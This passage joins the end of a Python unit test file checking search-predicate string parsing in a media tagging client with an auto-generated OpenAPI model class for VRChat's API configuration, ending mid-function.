= ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 'a*i:o*' ) self.assertEqual( p.ToString(), 'a*i:o* (wildcard search)' ) self.assertEqual( p.GetNamespace(), 'a*i' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'a*i:o*', False ) self.assertEqual( p.ToString(), '-a*i:o*' ) self.assertEqual( p.GetNamespace(), 'a*i' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) # p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_PARENT, 'series:game of thrones' ) self.assertEqual( p.ToString(), ' series:game of thrones' ) self.assertEqual( p.GetNamespace(), 'series' ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), [ ( p.ToString(), p.GetNamespace() ) ] ) # p = ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_OR_CONTAINER, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_SYSTEM_HEIGHT, ( '<', 2000 ) ), ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'blue eyes' ), ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'character:samus aran' ) ] ) self.assertEqual( p.ToString(), 'system:height < 2,000 OR blue eyes OR character:samus aran' ) self.assertEqual( p.GetNamespace(), '' ) or_texts_and_namespaces = [] or_texts_and_namespaces.append( ( 'system:height < 2,000', 'system' ) ) or_texts_and_namespaces.append( ( ' OR ', 'system' ) ) or_texts_and_namespaces.append( ( 'blue eyes', '' ) ) or_texts_and_namespaces.append( ( ' OR ', 'system' ) ) or_texts_and_namespaces.append( ( 'character:samus aran', 'character' ) ) self.assertEqual( p.GetTextsAndNamespaces( render_for_user ), or_texts_and_namespaces ) def test_system_predicate_parsing( self ): for ( expected_result_text, sys_pred_text ) in [ ( 'system:everything', "system:everything" ), ( 'system:inbox', "system:inbox " ), ( 'system:archive', "system:archive " ), ( 'system:has duration', "system:has duration" ), ( 'system:has duration', "system:has_duration" ), ( 'system:no duration', " system:no_duration" ), ( 'system:no duration', "system:no duration" ), ( 'system:is the best quality file of its duplicate group', "system:is the best quality file of its group" ), ( 'system:is not the best quality file of its duplicate group', "system:isn't the best quality file of its duplicate group" ), ( 'system:is not the best quality file of its duplicate group', 'system:is not the best quality file of its duplicate group' ), ( 'system:has audio', "system:has_audio" ), ( 'system:no audio', "system:no audio" ), ( 'system:has tags', "system:has tags" ), ( 'system:untagged', "system:no tags" ), ( 'system:untagged', "system:untagged" ), ( 'system:number of tags > 5', "system:number of tags > 5" ), ( 'system:number of tags \u2248 10', "system:number of tags ~= 10" ), ( 'system:has tags', "system:number of tags > 0 " ), ( 'system:number of words < 2', "system:number of words < 2" ), ( 'system:height = 600', "system:height = 600px" ), ( 'system:height = 800', "system:height is 800" ), ( 'system:height > 900', "system:height > 900" ), ( 'system:width < 200', "system:width < 200" ), ( 'system:width > 1,000', "system:width > 1000 pixels" ), ( 'system:filesize \u2248 50KB', "system:filesize ~= 50 kilobytes" ), ( 'system:filesize > 10MB', "system:filesize > 10megabytes" ), ( 'system:filesize < 1GB', "system:file size < 1 GB" ), ( 'system:filesize > 0B', "system:file size > 0 B" ), ( 'system:similar to 4 files using max hamming of 3', "system:similar to abcdef01 abcdef02 abcdef03, abcdef04 with distance 3" ), ( 'system:similar to 1 files using max hamming of 5', "system:similar to abcdef distance 5" ), ( 'system:limit is 5,000', "system:limit is 5000" ), ( 'system:limit is 100', "system:limit = 100" ), ( 'system:filetype is jpeg', "system:filetype is jpeg" ), ( 'system:filetype is jpeg, png, apng', "system:filetype = image/jpg, image/png, apng" ), ( 'system:sha256 hash is in 3 hashes', "system:hash = abcdef01 abcdef02 abcdef03" ), ( 'system:md5 hash is in 3 hashes', "system:hash = abcdef01 abcdef, abcdef04 md5" ), ( 'system:md5 hash is abcdef01', "system:hash = abcdef01 md5" ), ( 'system:md5 hash is abcdef01', "system:Hash = Abcdef01 md5" ), ( 'system:md5 hash is not abcdef01', "system:Hash != Abcdef01 md5" ), ( 'system:md5 hash is not abcdef01', "system:Hash is not Abcdef01 md5" ), ( 'system:sha256 hash is abcdef0102', "system:hash = abcdef0102" ), ( 'system:modified time: since 7 years 1 month ago', "system:modified date < 7 years 45 days 70h" ), ( 'system:modified time: since 2011-06-04', "system:modified date > 2011-06-04" ), ( 'system:modified time: before 7 years 2 months ago', "system:date modified > 7 years 2 months" ), ( 'system:modified time: since 1 day ago', "system:date modified < 1 day" ), ( 'system:modified time: since 1 month 1 day ago', "system:date modified < 0 years 1 month 1 day 1 hour" ), ( 'system:last view time: since 7 years 1 month ago', "system:last viewed time < 7 years 45 days 70h" ), ( 'system:last view time: since 7 years 1 month ago', "system:last view time < 7 years 45 days 70h" ), ( 'system:import time: since 7 years 1 month ago', "system:time_imported < 7 years 45 days 70h" ), ( 'system:import time: since 2011-06-04', "system:time imported > 2011-06-04" ), ( 'system:import time: before 7 years 2 months ago', "system:time imported > 7 years 2 months" ), ( 'system:import time: since 1 day ago', "system:time imported < 1 day" ), ( 'system:import time: since 1 month 1 day ago', "system:time imported < 0 years 1 month 1 day 1 hour" ), ( 'system:import time: a month either side of 2011-01-03', " system:time imported ~= 2011-1-3 " ), ( 'system:import time: a month either side of 1996-05-02', "system:time imported ~= 1996-05-2" ), ( 'system:import time: since 7 years 1 month ago', "system:import_time < 7 years 45 days 70h" ), ( 'system:import time: since 2011-06-04', "system:import time > 2011-06-04" ), ( 'system:import time: before 7 years 2 months ago', "system:import time > 7 years 2 months" ), ( 'system:import time: since 1 day ago', "system:import time < 1 day" ), ( 'system:import time: since 1 month 1 day ago', "system:import time < 0 years 1 month 1 day 1 hour" ), ( 'system:import time: a month either side of 2011-01-03', " system:import time ~= 2011-1-3 " ), ( 'system:import time: a month either side of 1996-05-02', "system:import time ~= 1996-05-2" ), ( 'system:duration < 5.0 seconds', "system:duration < 5 seconds" ), ( 'system:duration \u2248 11.0 seconds', "system:duration ~= 5 sec 6000 msecs" ), ( 'system:duration > 3 milliseconds', "system:duration > 3 milliseconds" ), ( 'system:is pending to my files', "system:file service is pending to my files" ), ( 'system:is currently in my files', " system:file service currently in my files" ), ( 'system:is not currently in my files', "system:file service isn't currently in my files" ), ( 'system:is not pending to my files', "system:file service is not pending to my files" ), ( 'system:num file relationships - has less than 3 alternates', "system:num file relationships < 3 alternates" ), ( 'system:num file relationships - has more than 3 not related/false positive', "system:number of file relationships > 3 false positives" ), ( 'system:ratio wider than 16:9', "system:ratio is wider than 16:9 " ), ( 'system:ratio = 16:9', "system:ratio is 16:9" ), ( 'system:ratio taller than 1:1', "system:ratio taller than 1:1" ), ( 'system:number of pixels > 50 pixels', "system:num pixels > 50 px" ), ( 'system:number of pixels < 1 megapixels', "system:num pixels < 1 megapixels " ), ( 'system:number of pixels \u2248 5 kilopixels', "system:num pixels ~= 5 kilopixel" ), ( 'system:media views \u2248 10', "system:media views ~= 10" ), ( 'system:all views > 0', "system:all views > 0" ), ( 'system:preview views < 10', "system:preview views < 10 " ), ( 'system:media viewtime < 1 day 1 hour', "system:media viewtime < 1 days 1 hour 0 minutes" ), ( 'system:all viewtime > 1 hour 1 minute', "system:all viewtime > 1 hours 100 seconds" ), ( 'system:preview viewtime \u2248 2 days 7 hours', "system:preview viewtime ~= 1 day 30 hours 100 minutes 90s" ), ( 'system:has a url matching regex: index\\.php', " system:has url matching regex index\\.php" ), ( 'system:does not have a url matching regex: index\\.php', "system:does not have a url matching regex index\\.php" ), ( 'system:has url: https://safebooru.donmai.us/posts/4695284', "system:has_url https://safebooru.donmai.us/posts/4695284" ), ( 'system:does not have url: https://safebooru.donmai.us/posts/4695284', " system:doesn't have url https://safebooru.donmai.us/posts/4695284 " ), ( 'system:has a url with domain: safebooru.com', "system:has domain safebooru.com" ), ( 'system:does not have a url with domain: safebooru.com', "system:doesn't have domain safebooru.com" ), ( 'system:has safebooru file page url', "system:has a url with class safebooru file page" ), ( 'system:does not have safebooru file page url', "system:doesn't have a url with url class safebooru file page " ), ( 'system:page less than 5', "system:tag as number page < 5" ) ]: ( sys_pred, ) = ClientSearchParseSystemPredicates.ParseSystemPredicateStringsToPredicates( ( sys_pred_text, ) ) self.assertEqual( sys_pred.ToString(), expected_result_text ) def test_tag_import_options_simple( self ): tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) self.assertTrue( tag_autocomplete_options.FetchResultsAutomatically() ) self.assertEqual( tag_autocomplete_options.GetExactMatchCharacterThreshold(), 2 ) # tag_autocomplete_options.SetFetchResultsAutomatically( False ) self.assertFalse( tag_autocomplete_options.FetchResultsAutomatically() ) tag_autocomplete_options.SetFetchResultsAutomatically( True ) self.assertTrue( tag_autocomplete_options.FetchResultsAutomatically() ) tag_autocomplete_options.SetExactMatchCharacterThreshold( None ) self.assertEqual( tag_autocomplete_options.GetExactMatchCharacterThreshold(), None ) tag_autocomplete_options.SetExactMatchCharacterThreshold( 2 ) self.assertEqual( tag_autocomplete_options.GetExactMatchCharacterThreshold(), 2 )

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737ec87e3c0e0dead81276c4cb3019c85a79510f

53,206

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Python

vrchatapi/model/api_config.py

vrchatapi/vrchatapi-python

996b7ddf2914059f1fd4e5def5e3555e678634c0

[ "MIT" ]

8

2021-08-25T02:35:30.000Z

2022-03-28T18:11:58.000Z

vrchatapi/model/api_config.py

vrchatapi/vrchatapi-python

996b7ddf2914059f1fd4e5def5e3555e678634c0

[ "MIT" ]

1

2022-03-18T20:29:30.000Z

2022-03-18T20:35:05.000Z

vrchatapi/model/api_config.py

vrchatapi/vrchatapi-python

996b7ddf2914059f1fd4e5def5e3555e678634c0

[ "MIT" ]

1

2022-01-11T10:49:12.000Z

""" VRChat API Documentation The version of the OpenAPI document: 1.6.7 Contact: me@ruby.js.org Generated by: https://openapi-generator.tech """ import re # noqa: F401 import sys # noqa: F401 from vrchatapi.model_utils import ( # noqa: F401 ApiTypeError, ModelComposed, ModelNormal, ModelSimple, cached_property, change_keys_js_to_python, convert_js_args_to_python_args, date, datetime, file_type, none_type, validate_get_composed_info, ) from ..model_utils import OpenApiModel from vrchatapi.exceptions import ApiAttributeError def lazy_import(): from vrchatapi.model.api_event_config import APIEventConfig from vrchatapi.model.avatar_id import AvatarID from vrchatapi.model.deployment_group import DeploymentGroup from vrchatapi.model.download_url_list import DownloadURLList from vrchatapi.model.dynamic_content_row import DynamicContentRow from vrchatapi.model.public_announcement import PublicAnnouncement from vrchatapi.model.world_id import WorldID globals()['APIEventConfig'] = APIEventConfig globals()['AvatarID'] = AvatarID globals()['DeploymentGroup'] = DeploymentGroup globals()['DownloadURLList'] = DownloadURLList globals()['DynamicContentRow'] = DynamicContentRow globals()['PublicAnnouncement'] = PublicAnnouncement globals()['WorldID'] = WorldID class APIConfig(ModelNormal): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. Attributes: allowed_values (dict): The key is the tuple path to the attribute and the for var_name this is (var_name,). The value is a dict with a capitalized key describing the allowed value and an allowed value. These dicts store the allowed enum values. attribute_map (dict): The key is attribute name and the value is json key in definition. discriminator_value_class_map (dict): A dict to go from the discriminator variable value to the discriminator class name. validations (dict): The key is the tuple path to the attribute and the for var_name this is (var_name,). The value is a dict that stores validations for max_length, min_length, max_items, min_items, exclusive_maximum, inclusive_maximum, exclusive_minimum, inclusive_minimum, and regex. additional_properties_type (tuple): A tuple of classes accepted as additional properties values. """ allowed_values = { } validations = { ('address',): { 'min_length': 1, }, ('announcements',): { 'min_items': 1, }, ('api_key',): { 'min_length': 1, }, ('app_name',): { 'min_length': 1, }, ('build_version_tag',): { 'min_length': 1, }, ('client_api_key',): { 'min_length': 1, }, ('contact_email',): { 'min_length': 1, }, ('copyright_email',): { 'min_length': 1, }, ('current_tos_version',): { 'inclusive_minimum': 0, }, ('dev_app_version_standalone',): { 'min_length': 1, }, ('dev_download_link_windows',): { 'min_length': 1, }, ('dev_sdk_url',): { 'min_length': 1, }, ('dev_sdk_version',): { 'min_length': 1, }, ('dev_server_version_standalone',): { 'min_length': 1, }, ('download_link_windows',): { 'min_length': 1, }, ('dynamic_world_rows',): { 'min_items': 1, }, ('gear_demo_room_id',): { 'min_length': 1, }, ('homepage_redirect_target',): { 'min_length': 1, }, ('jobs_email',): { 'min_length': 1, }, ('message_of_the_day',): { 'min_length': 1, }, ('moderation_email',): { 'min_length': 1, }, ('not_allowed_to_select_avatar_in_private_world_message',): { 'min_length': 1, }, ('plugin',): { 'min_length': 1, }, ('release_app_version_standalone',): { 'min_length': 1, }, ('release_sdk_url',): { 'min_length': 1, }, ('release_sdk_version',): { 'min_length': 1, }, ('release_server_version_standalone',): { 'min_length': 1, }, ('sdk_developer_faq_url',): { 'min_length': 1, }, ('sdk_discord_url',): { 'min_length': 1, }, ('sdk_not_allowed_to_publish_message',): { 'min_length': 1, }, ('sdk_unity_version',): { 'min_length': 1, }, ('server_name',): { 'min_length': 1, }, ('support_email',): { 'min_length': 1, }, ('vive_windows_url',): { 'min_length': 1, }, ('youtubedl_hash',): { 'min_length': 1, }, ('youtubedl_version',): { 'min_length': 1, }, } @cached_property def additional_properties_type(): """ This must be a method because a model may have properties that are of type self, this must run after the class is loaded """ lazy_import() return (bool, date, datetime, dict, float, int, list, str, none_type,) # noqa: E501 _nullable = False @cached_property def openapi_types(): """ This must be a method because a model may have properties that are of type self, this must run after the class is loaded Returns openapi_types (dict): The key is attribute name and the value is attribute type. """ lazy_import() return { 'voice_enable_degradation': (bool,), # noqa: E501 'voice_enable_receiver_limiting': (bool,), # noqa: E501 'address': (str,), # noqa: E501 'announcements': ([PublicAnnouncement],), # noqa: E501 'api_key': (str,), # noqa: E501 'app_name': (str,), # noqa: E501 'build_version_tag': (str,), # noqa: E501 'client_api_key': (str,), # noqa: E501 'client_bps_ceiling': (int,), # noqa: E501 'client_disconnect_timeout': (int,), # noqa: E501 'client_reserved_player_bps': (int,), # noqa: E501 'client_sent_count_allowance': (int,), # noqa: E501 'contact_email': (str,), # noqa: E501 'copyright_email': (str,), # noqa: E501 'current_tos_version': (int,), # noqa: E501 'default_avatar': (AvatarID,), # noqa: E501 'deployment_group': (DeploymentGroup,), # noqa: E501 'dev_app_version_standalone': (str,), # noqa: E501 'dev_download_link_windows': (str,), # noqa: E501 'dev_sdk_url': (str,), # noqa: E501 'dev_sdk_version': (str,), # noqa: E501 'dev_server_version_standalone': (str,), # noqa: E501 'dis_countdown': (datetime,), # noqa: E501 'disable_avatar_copying': (bool,), # noqa: E501 'disable_avatar_gating': (bool,), # noqa: E501 'disable_community_labs': (bool,), # noqa: E501 'disable_community_labs_promotion': (bool,), # noqa: E501 'disable_email': (bool,), # noqa: E501 'disable_event_stream': (bool,), # noqa: E501 'disable_feedback_gating': (bool,), # noqa: E501 'disable_frontend_builds': (bool,), # noqa: E501 'disable_hello': (bool,), # noqa: E501 'disable_oculus_subs': (bool,), # noqa: E501 'disable_registration': (bool,), # noqa: E501 'disable_steam_networking': (bool,), # noqa: E501 'disable_two_factor_auth': (bool,), # noqa: E501 'disable_udon': (bool,), # noqa: E501 'disable_upgrade_account': (bool,), # noqa: E501 'download_link_windows': (str,), # noqa: E501 'download_urls': (DownloadURLList,), # noqa: E501 'dynamic_world_rows': ([DynamicContentRow],), # noqa: E501 'events': (APIEventConfig,), # noqa: E501 'gear_demo_room_id': (str,), # noqa: E501 'home_world_id': (WorldID,), # noqa: E501 'homepage_redirect_target': (str,), # noqa: E501 'hub_world_id': (WorldID,), # noqa: E501 'jobs_email': (str,), # noqa: E501 'message_of_the_day': (str,), # noqa: E501 'moderation_email': (str,), # noqa: E501 'moderation_query_period': (int,), # noqa: E501 'not_allowed_to_select_avatar_in_private_world_message': (str,), # noqa: E501 'plugin': (str,), # noqa: E501 'release_app_version_standalone': (str,), # noqa: E501 'release_sdk_url': (str,), # noqa: E501 'release_sdk_version': (str,), # noqa: E501 'release_server_version_standalone': (str,), # noqa: E501 'sdk_developer_faq_url': (str,), # noqa: E501 'sdk_discord_url': (str,), # noqa: E501 'sdk_not_allowed_to_publish_message': (str,), # noqa: E501 'sdk_unity_version': (str,), # noqa: E501 'server_name': (str,), # noqa: E501 'support_email': (str,), # noqa: E501 'time_out_world_id': (WorldID,), # noqa: E501 'tutorial_world_id': (WorldID,), # noqa: E501 'update_rate_ms_maximum': (int,), # noqa: E501 'update_rate_ms_minimum': (int,), # noqa: E501 'update_rate_ms_normal': (int,), # noqa: E501 'update_rate_ms_udon_manual': (int,), # noqa: E501 'upload_analysis_percent': (int,), # noqa: E501 'url_list': ([str],), # noqa: E501 'use_reliable_udp_for_voice': (bool,), # noqa: E501 'user_update_period': (int,), # noqa: E501 'user_verification_delay': (int,), # noqa: E501 'user_verification_retry': (int,), # noqa: E501 'user_verification_timeout': (int,), # noqa: E501 'vive_windows_url': (str,), # noqa: E501 'white_listed_asset_urls': ([str],), # noqa: E501 'world_update_period': (int,), # noqa: E501 'youtubedl_hash': (str,), # noqa: E501 'youtubedl_version': (str,), # noqa: E501 } @cached_property def discriminator(): return None attribute_map = { 'voice_enable_degradation': 'VoiceEnableDegradation', # noqa: E501 'voice_enable_receiver_limiting': 'VoiceEnableReceiverLimiting', # noqa: E501 'address': 'address', # noqa: E501 'announcements': 'announcements', # noqa: E501 'api_key': 'apiKey', # noqa: E501 'app_name': 'appName', # noqa: E501 'build_version_tag': 'buildVersionTag', # noqa: E501 'client_api_key': 'clientApiKey', # noqa: E501 'client_bps_ceiling': 'clientBPSCeiling', # noqa: E501 'client_disconnect_timeout': 'clientDisconnectTimeout', # noqa: E501 'client_reserved_player_bps': 'clientReservedPlayerBPS', # noqa: E501 'client_sent_count_allowance': 'clientSentCountAllowance', # noqa: E501 'contact_email': 'contactEmail', # noqa: E501 'copyright_email': 'copyrightEmail', # noqa: E501 'current_tos_version': 'currentTOSVersion', # noqa: E501 'default_avatar': 'defaultAvatar', # noqa: E501 'deployment_group': 'deploymentGroup', # noqa: E501 'dev_app_version_standalone': 'devAppVersionStandalone', # noqa: E501 'dev_download_link_windows': 'devDownloadLinkWindows', # noqa: E501 'dev_sdk_url': 'devSdkUrl', # noqa: E501 'dev_sdk_version': 'devSdkVersion', # noqa: E501 'dev_server_version_standalone': 'devServerVersionStandalone', # noqa: E501 'dis_countdown': 'dis-countdown', # noqa: E501 'disable_avatar_copying': 'disableAvatarCopying', # noqa: E501 'disable_avatar_gating': 'disableAvatarGating', # noqa: E501 'disable_community_labs': 'disableCommunityLabs', # noqa: E501 'disable_community_labs_promotion': 'disableCommunityLabsPromotion', # noqa: E501 'disable_email': 'disableEmail', # noqa: E501 'disable_event_stream': 'disableEventStream', # noqa: E501 'disable_feedback_gating': 'disableFeedbackGating', # noqa: E501 'disable_frontend_builds': 'disableFrontendBuilds', # noqa: E501 'disable_hello': 'disableHello', # noqa: E501 'disable_oculus_subs': 'disableOculusSubs', # noqa: E501 'disable_registration': 'disableRegistration', # noqa: E501 'disable_steam_networking': 'disableSteamNetworking', # noqa: E501 'disable_two_factor_auth': 'disableTwoFactorAuth', # noqa: E501 'disable_udon': 'disableUdon', # noqa: E501 'disable_upgrade_account': 'disableUpgradeAccount', # noqa: E501 'download_link_windows': 'downloadLinkWindows', # noqa: E501 'download_urls': 'downloadUrls', # noqa: E501 'dynamic_world_rows': 'dynamicWorldRows', # noqa: E501 'events': 'events', # noqa: E501 'gear_demo_room_id': 'gearDemoRoomId', # noqa: E501 'home_world_id': 'homeWorldId', # noqa: E501 'homepage_redirect_target': 'homepageRedirectTarget', # noqa: E501 'hub_world_id': 'hubWorldId', # noqa: E501 'jobs_email': 'jobsEmail', # noqa: E501 'message_of_the_day': 'messageOfTheDay', # noqa: E501 'moderation_email': 'moderationEmail', # noqa: E501 'moderation_query_period': 'moderationQueryPeriod', # noqa: E501 'not_allowed_to_select_avatar_in_private_world_message': 'notAllowedToSelectAvatarInPrivateWorldMessage', # noqa: E501 'plugin': 'plugin', # noqa: E501 'release_app_version_standalone': 'releaseAppVersionStandalone', # noqa: E501 'release_sdk_url': 'releaseSdkUrl', # noqa: E501 'release_sdk_version': 'releaseSdkVersion', # noqa: E501 'release_server_version_standalone': 'releaseServerVersionStandalone', # noqa: E501 'sdk_developer_faq_url': 'sdkDeveloperFaqUrl', # noqa: E501 'sdk_discord_url': 'sdkDiscordUrl', # noqa: E501 'sdk_not_allowed_to_publish_message': 'sdkNotAllowedToPublishMessage', # noqa: E501 'sdk_unity_version': 'sdkUnityVersion', # noqa: E501 'server_name': 'serverName', # noqa: E501 'support_email': 'supportEmail', # noqa: E501 'time_out_world_id': 'timeOutWorldId', # noqa: E501 'tutorial_world_id': 'tutorialWorldId', # noqa: E501 'update_rate_ms_maximum': 'updateRateMsMaximum', # noqa: E501 'update_rate_ms_minimum': 'updateRateMsMinimum', # noqa: E501 'update_rate_ms_normal': 'updateRateMsNormal', # noqa: E501 'update_rate_ms_udon_manual': 'updateRateMsUdonManual', # noqa: E501 'upload_analysis_percent': 'uploadAnalysisPercent', # noqa: E501 'url_list': 'urlList', # noqa: E501 'use_reliable_udp_for_voice': 'useReliableUdpForVoice', # noqa: E501 'user_update_period': 'userUpdatePeriod', # noqa: E501 'user_verification_delay': 'userVerificationDelay', # noqa: E501 'user_verification_retry': 'userVerificationRetry', # noqa: E501 'user_verification_timeout': 'userVerificationTimeout', # noqa: E501 'vive_windows_url': 'viveWindowsUrl', # noqa: E501 'white_listed_asset_urls': 'whiteListedAssetUrls', # noqa: E501 'world_update_period': 'worldUpdatePeriod', # noqa: E501 'youtubedl_hash': 'youtubedl-hash', # noqa: E501 'youtubedl_version': 'youtubedl-version', # noqa: E501 } read_only_vars = { } _composed_schemas = {} @classmethod @convert_js_args_to_python_args def _from_openapi_data(cls, address, announcements, api_key, build_version_tag, client_api_key, contact_email, copyright_email, current_tos_version, default_avatar, deployment_group, dev_app_version_standalone, dev_download_link_windows, dev_sdk_url, dev_sdk_version, dev_server_version_standalone, dis_countdown, download_link_windows, download_urls, dynamic_world_rows, events, gear_demo_room_id, home_world_id, hub_world_id, jobs_email, message_of_the_day, moderation_email, moderation_query_period, not_allowed_to_select_avatar_in_private_world_message, plugin, release_app_version_standalone, release_sdk_url, release_sdk_version, release_server_version_standalone, sdk_developer_faq_url, sdk_discord_url, sdk_not_allowed_to_publish_message, sdk_unity_version, server_name, support_email, time_out_world_id, tutorial_world_id, update_rate_ms_maximum, update_rate_ms_minimum, update_rate_ms_normal, update_rate_ms_udon_manual, upload_analysis_percent, url_list, user_update_period, user_verification_delay, user_verification_retry, user_verification_timeout, vive_windows_url, white_listed_asset_urls, world_update_period, youtubedl_hash, youtubedl_version, *args, **kwargs): # noqa: E501 """APIConfig - a model defined in OpenAPI Args: address (str): VRChat's office address announcements ([PublicAnnouncement]): Public Announcements api_key (str): apiKey to be used for all other requests build_version_tag (str): Build tag of the API server client_api_key (str): apiKey to be used for all other requests contact_email (str): VRChat's contact email copyright_email (str): VRChat's copyright-issues-related email current_tos_version (int): Current version number of the Terms of Service default_avatar (AvatarID): deployment_group (DeploymentGroup): dev_app_version_standalone (str): Version number for game development build dev_download_link_windows (str): Developer Download link dev_sdk_url (str): Link to download the development SDK, use downloadUrls instead dev_sdk_version (str): Version of the development SDK dev_server_version_standalone (str): Version number for server development build dis_countdown (datetime): Unknown, \"dis\" maybe for disconnect? download_link_windows (str): Download link for game on the Oculus Rift website. download_urls (DownloadURLList): dynamic_world_rows ([DynamicContentRow]): Array of DynamicWorldRow objects, used by the game to display the list of world rows events (APIEventConfig): gear_demo_room_id (str): Unknown home_world_id (WorldID): hub_world_id (WorldID): jobs_email (str): VRChat's job application email message_of_the_day (str): MOTD moderation_email (str): VRChat's moderation related email moderation_query_period (int): Unknown not_allowed_to_select_avatar_in_private_world_message (str): Used in-game to notify a user they aren't allowed to select avatars in private worlds plugin (str): Extra [plugin](https://doc.photonengine.com/en-us/server/current/plugins/manual) to run in each instance release_app_version_standalone (str): Version number for game release build release_sdk_url (str): Link to download the release SDK release_sdk_version (str): Version of the release SDK release_server_version_standalone (str): Version number for server release build sdk_developer_faq_url (str): Link to the developer FAQ sdk_discord_url (str): Link to the official VRChat Discord sdk_not_allowed_to_publish_message (str): Used in the SDK to notify a user they aren't allowed to upload avatars/worlds yet sdk_unity_version (str): Unity version supported by the SDK server_name (str): Server name of the API server currently responding support_email (str): VRChat's support email time_out_world_id (WorldID): tutorial_world_id (WorldID): update_rate_ms_maximum (int): Unknown update_rate_ms_minimum (int): Unknown update_rate_ms_normal (int): Unknown update_rate_ms_udon_manual (int): Unknown upload_analysis_percent (int): Unknown url_list ([str]): List of allowed URLs that bypass the \"Allow untrusted URL's\" setting in-game user_update_period (int): Unknown user_verification_delay (int): Unknown user_verification_retry (int): Unknown user_verification_timeout (int): Unknown vive_windows_url (str): Download link for game on the Steam website. white_listed_asset_urls ([str]): List of allowed URLs that are allowed to host avatar assets world_update_period (int): Unknown youtubedl_hash (str): Currently used youtube-dl.exe hash in SHA-256-delimited format youtubedl_version (str): Currently used youtube-dl.exe version Keyword Args: voice_enable_degradation (bool): Unknown, probably voice optimization testing. defaults to False # noqa: E501 voice_enable_receiver_limiting (bool): Unknown, probably voice optimization testing. defaults to True # noqa: E501 app_name (str): Game name. defaults to "VrChat" # noqa: E501 client_bps_ceiling (int): Unknown. defaults to 18432 # noqa: E501 client_disconnect_timeout (int): Unknown. defaults to 30000 # noqa: E501 client_reserved_player_bps (int): Unknown. defaults to 7168 # noqa: E501 client_sent_count_allowance (int): Unknown. defaults to 15 # noqa: E501 disable_avatar_copying (bool): Toggles if copying avatars should be disabled. defaults to False # noqa: E501 disable_avatar_gating (bool): Toggles if avatar gating should be disabled. Avatar gating restricts uploading of avatars to people with the `system_avatar_access` Tag or `admin_avatar_access` Tag. defaults to False # noqa: E501 disable_community_labs (bool): Toggles if the Community Labs should be disabled. defaults to False # noqa: E501 disable_community_labs_promotion (bool): Toggles if promotion out of Community Labs should be disabled. defaults to False # noqa: E501 disable_email (bool): Unknown. defaults to False # noqa: E501 disable_event_stream (bool): Toggles if Analytics should be disabled.. defaults to False # noqa: E501 disable_feedback_gating (bool): Toggles if feedback gating should be disabled. Feedback gating restricts submission of feedback (reporting a World or User) to people with the `system_feedback_access` Tag.. defaults to False # noqa: E501 disable_frontend_builds (bool): Unknown, probably toggles compilation of frontend web builds? So internal flag?. defaults to False # noqa: E501 disable_hello (bool): Unknown. defaults to False # noqa: E501 disable_oculus_subs (bool): Toggles if signing up for Subscriptions in Oculus is disabled or not.. defaults to False # noqa: E501 disable_registration (bool): Toggles if new user account registration should be disabled.. defaults to False # noqa: E501 disable_steam_networking (bool): Toggles if Steam Networking should be disabled. VRChat these days uses Photon Unity Networking (PUN) instead.. defaults to True # noqa: E501 disable_two_factor_auth (bool): Toggles if 2FA should be disabled.. defaults to False # noqa: E501 disable_udon (bool): Toggles if Udon should be universally disabled in-game.. defaults to False # noqa: E501 disable_upgrade_account (bool): Toggles if account upgrading \"linking with Steam/Oculus\" should be disabled.. defaults to False # noqa: E501 homepage_redirect_target (str): Redirect target if you try to open the base API domain in your browser. defaults to "https://hello.vrchat.com" # noqa: E501 use_reliable_udp_for_voice (bool): Unknown. defaults to False # noqa: E501 _check_type (bool): if True, values for parameters in openapi_types will be type checked and a TypeError will be raised if the wrong type is input. Defaults to True _path_to_item (tuple/list): This is a list of keys or values to drill down to the model in received_data when deserializing a response _spec_property_naming (bool): True if the variable names in the input data are serialized names, as specified in the OpenAPI document. False if the variable names in the input data are pythonic names, e.g. snake case (default) _configuration (Configuration): the instance to use when deserializing a file_type parameter. If passed, type conversion is attempted If omitted no type conversion is done. _visited_composed_classes (tuple): This stores a tuple of classes that we have traveled through so that if we see that class again we will not use its discriminator again. When traveling through a discriminator, the composed schema that is is traveled through is added to this set. For example if Animal has a discriminator petType and we pass in "Dog", and the class Dog allOf includes Animal, we move through Animal once using the discriminator, and pick Dog. Then in Dog, we will make an instance of the Animal class but this time we won't travel through its discriminator because we passed in _visited_composed_classes = (Animal,) """ voice_enable_degradation = kwargs.get('voice_enable_degradation', False) voice_enable_receiver_limiting = kwargs.get('voice_enable_receiver_limiting', True) app_name = kwargs.get('app_name', "VrChat") client_bps_ceiling = kwargs.get('client_bps_ceiling', 18432) client_disconnect_timeout = kwargs.get('client_disconnect_timeout', 30000) client_reserved_player_bps = kwargs.get('client_reserved_player_bps', 7168) client_sent_count_allowance = kwargs.get('client_sent_count_allowance', 15) disable_avatar_copying = kwargs.get('disable_avatar_copying', False) disable_avatar_gating = kwargs.get('disable_avatar_gating', False) disable_community_labs = kwargs.get('disable_community_labs', False) disable_community_labs_promotion = kwargs.get('disable_community_labs_promotion', False) disable_email = kwargs.get('disable_email', False) disable_event_stream = kwargs.get('disable_event_stream', False) disable_feedback_gating = kwargs.get('disable_feedback_gating', False) disable_frontend_builds = kwargs.get('disable_frontend_builds', False) disable_hello = kwargs.get('disable_hello', False) disable_oculus_subs = kwargs.get('disable_oculus_subs', False) disable_registration = kwargs.get('disable_registration', False) disable_steam_networking = kwargs.get('disable_steam_networking', True) disable_two_factor_auth = kwargs.get('disable_two_factor_auth', False) disable_udon = kwargs.get('disable_udon', False) disable_upgrade_account = kwargs.get('disable_upgrade_account', False) homepage_redirect_target = kwargs.get('homepage_redirect_target', "https://hello.vrchat.com") use_reliable_udp_for_voice = kwargs.get('use_reliable_udp_for_voice', False) _check_type = kwargs.pop('_check_type', True) _spec_property_naming = kwargs.pop('_spec_property_naming', False) _path_to_item = 